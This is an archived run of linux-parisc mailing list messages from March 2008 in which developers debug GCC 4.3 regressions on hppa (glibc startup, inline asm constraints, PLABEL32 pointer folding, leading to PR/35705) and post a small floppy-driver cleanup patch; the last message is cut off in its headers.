Date: Tue, 25 Mar 2008 18:42:44 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <119aab440803251542l4d86ef9bvaf8163e940e1ab35@mail.gmail.com>
References: <18405.27903.317733.531002@gargle.gargle.HOWL>
	 <119aab440803221402w2bfe5a7le9499e4eb6e0e3c1@mail.gmail.com>
	 <47E583EA.7000006@aurel32.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1206484992 828 80.91.229.12 (25 Mar 2008 22:43:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Mar 2008 22:43:12 +0000 (UTC)
Cc: "Matthias Klose" <doko@cs.tu-berlin.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	debian-release@lists.debian.org
To: "Aurelien Jarno" <aurelien@aurel32.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 25 23:43:42 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JeHrl-0001HO-0N
	for glpp-linux-parisc@gmane.org; Tue, 25 Mar 2008 23:43:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753447AbYCYWmr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Mar 2008 18:42:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755885AbYCYWmr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 25 Mar 2008 18:42:47 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.238]:48117 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755762AbYCYWmq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Mar 2008 18:42:46 -0400
Original-Received: by wr-out-0506.google.com with SMTP id c48so2521904wra.1
        for <linux-parisc@vger.kernel.org>; Tue, 25 Mar 2008 15:42:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=beta;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=mW5jK+j8LFKV3vJOL2oviYhgYPIqvHF5azG0gZACFZ8=;
        b=X3Srltyee87SuH2ULf6V5kSl2LyoyyCA9J5RJ8CGAo/Yspl0TVPgbbwXUxN85R/L7hqMP9vCCmVUytKzk18RIn2z3xSZIb7PN1FCO6tzMoP0+bXdU5KRXhYvI7aA5CAZZvb5yR75ZN4dBmgb03FD3qvNlCREJRQBO1qD3sSO4os=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=beta;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=RCJOwkIKLUpx2E0k6lcS0Sy5JbR9oXonLUVkalC1mWTd5r8fO9ppRIbGVWnZPOrFWyYhTz/IoaRR7mcFoFLED3muzbLbYi7VGc/fen6O+teFWapwgSt5vaw18beFGi0PtP3ROKxa5Xh+Co3WkuYp0erxzehGrNS/XqaiH67MRWc=
Original-Received: by 10.141.68.5 with SMTP id v5mr3873585rvk.179.1206484964948;
        Tue, 25 Mar 2008 15:42:44 -0700 (PDT)
Original-Received: by 10.141.98.3 with HTTP; Tue, 25 Mar 2008 15:42:44 -0700 (PDT)
In-Reply-To: <47E583EA.7000006@aurel32.net>
Content-Disposition: inline
X-Google-Sender-Auth: f769ba4fcd35360a
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:238 gmane.linux.debian.ports.hppa:5156 gmane.linux.debian.devel.gcc:27617 gmane.linux.debian.devel.release:19877
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/238>

On Sat, Mar 22, 2008 at 6:10 PM, Aurelien Jarno <aurelien@aurel32.net> wrote:
>  I have tried to build the glibc with GCC 4.3 on hppa, and rpcgen
>  segfaults when it is used, so the build fails. I haven't start to
>  investigate the problem (I started by the architectures where the
>  problems were minor).

I switched from gcc-4_2-branch to gcc-4_3-branch and I see the loader
gets a SIGTRAP, not a SIGSEGV. I'll try to debug this.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Can't find a register in R1_REGS while reloading asm.
Date: Tue, 25 Mar 2008 21:06:24 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <20080326010626.471CC4EB0@hiauly1.hia.nrc.ca>
References: <119aab440803240603h1d465daamafa380767f171f4d@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1206493608 27648 80.91.229.12 (26 Mar 2008 01:06:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Mar 2008 01:06:48 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, dave.anglin@nrc.ca
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 26 02:07:17 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JeK6e-0005Ks-1l
	for glpp-linux-parisc@gmane.org; Wed, 26 Mar 2008 02:07:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752445AbYCZBG3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Mar 2008 21:06:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752424AbYCZBG3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 25 Mar 2008 21:06:29 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4355 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752073AbYCZBG3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Mar 2008 21:06:29 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 471CC4EB0; Tue, 25 Mar 2008 21:06:25 -0400 (EDT)
In-Reply-To: <119aab440803240603h1d465daamafa380767f171f4d@mail.gmail.com> from "Carlos O'Donell" at Mar 24, 2008 09:03:31 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:239
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/239>

> 1) Remove "memory" from clobber.
> 2) Change the output constraint "=m" (*mem) to "+m" (*mem) to express
> that the memory may be written to by the CAS operation.
> 
> This is a tighter constraint than before, but it is no longer
> ambiguous. Previously we said we clobbered memory, but yet specified
> some as read-only.

"+m" indicates that the memory operand is both read and written.  While
I believe that changing from "=m" to "+m" is correct, it is not a all
clear to me why this fixed the ICE.  As shown in the PR, the gcse pass
eliminated several loads of the high portion of the address of *mem.
I don't think this would happen if the asm indicated that mem was
clobbered.  This would prevent gcse from optimising the address load.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesper Juhl <jesper.juhl@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc floppy: kill the 'register' keyword from header
Date: Wed, 26 Mar 2008 02:16:42 +0100 (CET)
Lines: 49
Approved: news@gmane.org
Message-ID: <alpine.LNX.1.00.0803260212140.1901@dragon.funnycrock.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1206494264 29647 80.91.229.12 (26 Mar 2008 01:17:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Mar 2008 01:17:44 +0000 (UTC)
Cc: Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Ian Molton <spyro@f2s.com>,
	Alain L Knaff <Alain.Knaff@lll.lu>,
	David C Niemi <niemi@tux.org>,
	Trivial Patch Monkey <trivial@kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: LKML <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 26 02:18:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JeKHH-0008Uc-4r
	for glpp-linux-parisc@gmane.org; Wed, 26 Mar 2008 02:18:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760812AbYCZBQl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Mar 2008 21:16:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760808AbYCZBQl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 25 Mar 2008 21:16:41 -0400
Original-Received: from ug-out-1314.google.com ([66.249.92.171]:32669 "EHLO
	ug-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760727AbYCZBQk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Mar 2008 21:16:40 -0400
Original-Received: by ug-out-1314.google.com with SMTP id z38so2574505ugc.16
        for <linux-parisc@vger.kernel.org>; Tue, 25 Mar 2008 18:16:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=beta;
        h=domainkey-signature:received:received:date:to:cc:subject:message-id:user-agent:mime-version:content-type:from;
        bh=5GXW/qmK80TdxAEfiQD7nvrzVvCqFVLYGZeQJmXwT7g=;
        b=FEsWRamsFG4jzT74ODVIxRELR8h/WHA1v3ejMs88AG7GnM420eKjpCMBMVF7hhDINNoO5MdmQb9aKQypIuHun1/jfEF3iyIX6Me6gnINUrFW42V3/yL2dyzRvxAFkL+httUdaXK7Z7YdCGg3FK2YvBBELVqVOKCO36O+JG+fk7Q=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=beta;
        h=date:to:cc:subject:message-id:user-agent:mime-version:content-type:from;
        b=baZdR1xrh47c2Zmq2x6ruaOgrOXuIg2SpTAfVBEmxTc41OF1rffn3bTH1fboZ7IBC+SqFegN9+NDfx0QW62u1eV9vZmuPm+jIJ0A8Fj38ij1xCjEIKEDKm+YNbyJ0QAqc059xhuD6ZmVM2dyTsXwwI821GMYWYTLJjklVsAjmLk=
Original-Received: by 10.67.98.15 with SMTP id a15mr983608ugm.69.1206494199265;
        Tue, 25 Mar 2008 18:16:39 -0700 (PDT)
Original-Received: from ?192.168.1.34? ( [90.184.90.115])
        by mx.google.com with ESMTPS id m4sm958772ugc.73.2008.03.25.18.16.36
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 25 Mar 2008 18:16:37 -0700 (PDT)
User-Agent: Alpine 1.00 (LNX 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:240 gmane.linux.kernel:657962
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/240>


When compilers became generally better at optimizing code than humans, the
register keyword became mostly useless. For the floppy driver it certainly
is since it's so slow compared to the rest of the system that optimizing
access to a single variable or two isn't going to make any real
difference
So let's just leave it to the compiler - it'll do a better job anyway.

This patch does away with a few register keywords in the parisc floppy 
driver.


Signed-off-by: Jesper Juhl <jesper.juhl@gmail.com>
---

 floppy.h |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/include/asm-parisc/floppy.h b/include/asm-parisc/floppy.h
index 4ca69f5..2f0a371 100644
--- a/include/asm-parisc/floppy.h
+++ b/include/asm-parisc/floppy.h
@@ -64,7 +64,7 @@ static int doing_pdma=0;
 
 static void floppy_hardint(int irq, void *dev_id, struct pt_regs * regs)
 {
-	register unsigned char st;
+	unsigned char st;
 
 #undef TRACE_FLPY_INT
 
@@ -84,8 +84,8 @@ static void floppy_hardint(int irq, void *dev_id, struct pt_regs * regs)
 #endif
 
 	{
-		register int lcount;
-		register char *lptr = virtual_dma_addr;
+		int lcount;
+		char *lptr = virtual_dma_addr;
 
 		for (lcount = virtual_dma_count; lcount; lcount--) {
 			st = fd_inb(virtual_dma_port+4) & 0xa0 ;


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: GCC 4.3 and PLABEL32 issues.
Date: Tue, 25 Mar 2008 22:59:05 -0400
Lines: 58
Approved: news@gmane.org
Message-ID: <119aab440803251959j8596a72wc399174db02ed71f@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1206500357 13172 80.91.229.12 (26 Mar 2008 02:59:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Mar 2008 02:59:17 +0000 (UTC)
To: "John David Anglin" <dave.anglin@nrc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Aurelien Jarno" <aurel32@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 26 03:59:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JeLre-0000GC-17
	for glpp-linux-parisc@gmane.org; Wed, 26 Mar 2008 03:59:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750952AbYCZC7I (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Mar 2008 22:59:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751281AbYCZC7I
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 25 Mar 2008 22:59:08 -0400
Original-Received: from rv-out-0910.google.com ([209.85.198.187]:41450 "EHLO
	rv-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750952AbYCZC7H (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Mar 2008 22:59:07 -0400
Original-Received: by rv-out-0910.google.com with SMTP id k20so1936867rvb.1
        for <linux-parisc@vger.kernel.org>; Tue, 25 Mar 2008 19:59:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=beta;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
        bh=FEXRlPcF5apr1vxuhxJVvOBBfHu/gEfb0V1frFz640c=;
        b=QE9Pztl22JT1QB/oGoivarR28YS2qQgQ2a5G+U6BspmiZ+J2rbzwxl7DuUG53VOVgfR/0DtX9BtwCoxFtxpQUvLF+5GMFilskDoHfg1HNGMn7u1SdYweFX8lBoXgdGzAiV0CGS1KF1u/eNBJ+oO+cuMvSU8DDkiJsBnHJw2wX1w=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=beta;
        h=message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
        b=oeZdP9FvbxwCPI65i/5R56zqdU8SmO1i5BTSHOEjKiuGf7eCkl3ej5TZrer2cMUeujaU3Te29h92I0sM4I9nT8RnyCr+ditUFG/gUgQ2ExjaFfsoUzExoeH7micdkLYWAN+5d9Twt70RcEuh9o14Ggof0beAvJgwCy8obw67Als=
Original-Received: by 10.141.49.6 with SMTP id b6mr4044005rvk.89.1206500345998;
        Tue, 25 Mar 2008 19:59:05 -0700 (PDT)
Original-Received: by 10.141.98.3 with HTTP; Tue, 25 Mar 2008 19:59:05 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: 9848bae445c8413a
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:241
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/241>

Dave,

The following reduced testcase:

cat >> foo.c <<EOF
#include <stdio.h>
#include <stdlib.h>

int main (void) {
  printf ("&printf = %x\n", (unsigned long)&printf);
  if (((unsigned long) &printf) & 3)
    {
      printf ("printf is a PLABEL32\n");
    }
  return 0;
}
EOF

carlos@firin:~/fsrc/gcc-work$
/usr/local/tools/bin/hppa-linux-gcc-4.2.4 -o foo foo.c
carlos@firin:~/fsrc/gcc-work$ ./foo
&printf = 119ea
printf is a PLABEL32

carlos@firin:~/fsrc/gcc-work$
/usr/local/tools/bin/hppa-linux-gcc-4.3.1 -o foo foo.c
carlos@firin:~/fsrc/gcc-work$ ./foo
&printf = 119ea

GCC 4.3, even at -O0, reduces "((unsigned long) &printf) & 3)" to "0".

~~~ foo.c.003t.original ~~~
;; Function main (main)
;; enabled by -tree-original

{
  printf ((const char * restrict) (char *) "&printf = %x\n", (long
unsigned int) printf);
  if (0)
    {
      printf ((const char * restrict) (char *) "printf is a PLABEL32\n");
    }
  return 0;
}
~~~
If the if condition is reduced to "0" as early as 003t.original, does
that mean it's the C frontend fault?

This issue is breaks glibc's detection of PLABEL's during startup
relocation processing.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: GCC 4.3 and PLABEL32 issues.
Date: Tue, 25 Mar 2008 23:20:00 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <20080326032001.357B74E7F@hiauly1.hia.nrc.ca>
References: <119aab440803251959j8596a72wc399174db02ed71f@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1206501611 16864 80.91.229.12 (26 Mar 2008 03:20:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Mar 2008 03:20:11 +0000 (UTC)
Cc: dave.anglin@nrc.ca, linux-parisc@vger.kernel.org,
	aurel32@debian.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 26 04:20:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JeMBt-0005gJ-CN
	for glpp-linux-parisc@gmane.org; Wed, 26 Mar 2008 04:20:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751789AbYCZDUE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Mar 2008 23:20:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752050AbYCZDUE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 25 Mar 2008 23:20:04 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4360 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751789AbYCZDUD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Mar 2008 23:20:03 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 357B74E7F; Tue, 25 Mar 2008 23:20:00 -0400 (EDT)
In-Reply-To: <119aab440803251959j8596a72wc399174db02ed71f@mail.gmail.com> from "Carlos O'Donell" at Mar 25, 2008 10:59:05 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:242
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/242>

> If the if condition is reduced to "0" as early as 003t.original, does
> that mean it's the C frontend fault?

Yes.  If I remember correctly, casting a pointer to an integer type
is implementation defined.

> This issue is breaks glibc's detection of PLABEL's during startup
> relocation processing.

This definitely needs a PR.  It should be marked as a regression.
This probably also breaks the unwind code in libjava as it has a
similar check.  There's also __canonicalize_funcptr_for_compare.

It's something of a puzzle as to why this didn't appear in testing.
It suggests we aren't testing the build libraries but installed libraries.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: GCC 4.3 and PLABEL32 issues.
Date: Wed, 26 Mar 2008 08:00:26 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <119aab440803260500i20dd94e0o6365a9c488e59986@mail.gmail.com>
References: <119aab440803251959j8596a72wc399174db02ed71f@mail.gmail.com>
	 <20080326032001.357B74E7F@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1206532856 12456 80.91.229.12 (26 Mar 2008 12:00:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Mar 2008 12:00:56 +0000 (UTC)
Cc: dave.anglin@nrc.ca, linux-parisc@vger.kernel.org,
	aurel32@debian.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 26 13:01:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JeUJW-00070n-JX
	for glpp-linux-parisc@gmane.org; Wed, 26 Mar 2008 13:01:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754153AbYCZMA3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Mar 2008 08:00:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754406AbYCZMA3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Mar 2008 08:00:29 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.235]:1507 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753650AbYCZMA2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Mar 2008 08:00:28 -0400
Original-Received: by wr-out-0506.google.com with SMTP id c48so2744334wra.1
        for <linux-parisc@vger.kernel.org>; Wed, 26 Mar 2008 05:00:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=beta;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=9DNqhGVOnl4/DHcCZvn3gcIM9Y0KQAiTFj+U4kGFigc=;
        b=fnq0/MUjAUGZAXfkhGG6w8JuAOudrGQyQm/DiFTq5+W5RvRrgJKKqZHD7EKXBvjDRpdV/4OiSHLgiQyf1LrgtMmreY/UrxRMWozEAfCTP0EM677RUfNyYOxRs+D0scij++HCb3+vguvcbSeQBMC3MLTHK09IODaNfEvVM3OF6dI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=beta;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=ucotQ3Nl7XQ8JG6k1hyr3AhhaYXhtWqLhc3P6kPVEFgIMRiOMAqCjzC3BsiHsUuDMZ9J17xxBf/AcYOu0Y9rimravDxSapbGhp1A5JQEFXxJj9jzBwShNqs49k+q5Ua/pnfChziFwUk/kqc+a92knUD0EziY1IAANkoEv2YNrbA=
Original-Received: by 10.141.170.10 with SMTP id x10mr4332483rvo.92.1206532826918;
        Wed, 26 Mar 2008 05:00:26 -0700 (PDT)
Original-Received: by 10.141.98.3 with HTTP; Wed, 26 Mar 2008 05:00:26 -0700 (PDT)
In-Reply-To: <20080326032001.357B74E7F@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: d7e1ee46e292b07e
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:243
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/243>

On Tue, Mar 25, 2008 at 11:20 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> > If the if condition is reduced to "0" as early as 003t.original, does
>  > that mean it's the C frontend fault?
>
>  Yes.  If I remember correctly, casting a pointer to an integer type
>  is implementation defined.

I mention this in the PR.

>  > This issue is breaks glibc's detection of PLABEL's during startup
>  > relocation processing.
>
>  This definitely needs a PR.  It should be marked as a regression.
>  This probably also breaks the unwind code in libjava as it has a
>  similar check.  There's also __canonicalize_funcptr_for_compare.
>
>  It's something of a puzzle as to why this didn't appear in testing.
>  It suggests we aren't testing the build libraries but installed libraries.

PR/35705 filed, and CC'd to you.
http://gcc.gnu.org/bugzilla/show_bug.cgi?id=35705

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: GCC 4.3 and PLABEL32 issues.
Date: Wed, 26 Mar 2008 06:37:41 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20080326123741.GH16721@parisc-linux.org>
References: <119aab440803251959j8596a72wc399174db02ed71f@mail.gmail.com> <20080326032001.357B74E7F@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1206535073 20803 80.91.229.12 (26 Mar 2008 12:37:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Mar 2008 12:37:53 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>, dave.anglin@nrc.ca,
